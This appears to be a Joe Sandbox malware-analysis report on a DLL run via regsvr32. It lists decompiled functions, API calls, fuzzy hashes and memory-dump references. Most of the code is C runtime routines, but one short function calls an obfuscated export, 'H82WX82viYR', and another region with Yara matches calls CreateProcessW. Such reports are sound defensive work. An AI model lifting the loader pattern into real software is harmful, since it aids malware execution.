Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 2fea13ac07d8f022f3d86b1cc1b99bf950f7c5081f441752a002fe175989ec87
Instruction ID: ccbee8cdd8044984a813dbfd6c9bb6ca90d3427a1697cce954f0caea4fdd0345
Opcode Fuzzy Hash: 2fea13ac07d8f022f3d86b1cc1b99bf950f7c5081f441752a002fe175989ec87
Instruction Fuzzy Hash: 8B41A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47B68DBBED4548B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 3be25d5429145f193b8b5ac72c588d3aab3a3dcc72f716665f31abf408c046fa
Instruction ID: b9f7c2a4cabba63d90327ac94b1883ffc0a3f64b25b31a8ae36976c45a874ec4
Opcode Fuzzy Hash: 3be25d5429145f193b8b5ac72c588d3aab3a3dcc72f716665f31abf408c046fa
Instruction Fuzzy Hash: 37115E30A2D60286F3E0AB29ED4577DA6E1B784B60F214275E9EE422F5DB2FE4048601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x38
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x42cc
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x32f4
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x2f3b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x2f3b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 070c00f70d4df6f813f84e43e5590717d4ebcb6a3ae1d4e5f47ac26a0ae5b61c
Instruction ID: 5caffd3b8bb6e9a751bf86ff06ba01468230100948e3856d22c691b184e429db
Opcode Fuzzy Hash: 070c00f70d4df6f813f84e43e5590717d4ebcb6a3ae1d4e5f47ac26a0ae5b61c
Instruction Fuzzy Hash: 6B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23110 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D23110(void* __eflags, long long* __rax) {
				void* _t7;
				intOrPtr _t8;
				void* _t10;

				_t8 =  *0xf9d4c3c8; // 0x180000000
				E000007FE7FEF9D211E0(_t7, _t8, "H82WX82viYR", _t10); // executed
				 *__rax(); // executed
				return 0;
			}

0x7fef9d23114
0x7fef9d23122
0x7fef9d23127
0x7fef9d2312f

APIs

RtlExitUserProcess.NTDLL ref: 000007FEF9D23127

Strings

H82WX82viYR, xrefs: 000007FEF9D2311B

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcessUser
String ID: H82WX82viYR
API String ID: 3902816426-3887106525
Opcode ID: 9520d05ee5257cfcb6870757d168f5deeb70c535bf89830e30f839e103e3a1eb
Instruction ID: 3c31bc9bae0aa088b32ec31719daf081635377c5f01f1f7dd7abf53af6b9f495
Opcode Fuzzy Hash: 9520d05ee5257cfcb6870757d168f5deeb70c535bf89830e30f839e103e3a1eb
Instruction Fuzzy Hash: 0DC04C11F2550381EA4467E6AC861AC12A16785790FA19421D55C86231DE6E92964B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800178A8 Relevance: 1.6, APIs: 1, Instructions: 122processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180017A2D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 04cf030d77e645320339c33741cb4d53f5c8d6a2e25ff01d0d4939bc2732d238
Instruction ID: 2da17281d2a08d1ac9b8a996dbaf27e8716b5e9a88d25284efbd0f172fd1731a
Opcode Fuzzy Hash: 04cf030d77e645320339c33741cb4d53f5c8d6a2e25ff01d0d4939bc2732d238
Instruction Fuzzy Hash: 7041417051CB848FDBB8DF18E48979AB7E0FB88314F104A5DE48EC7245DB749885CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

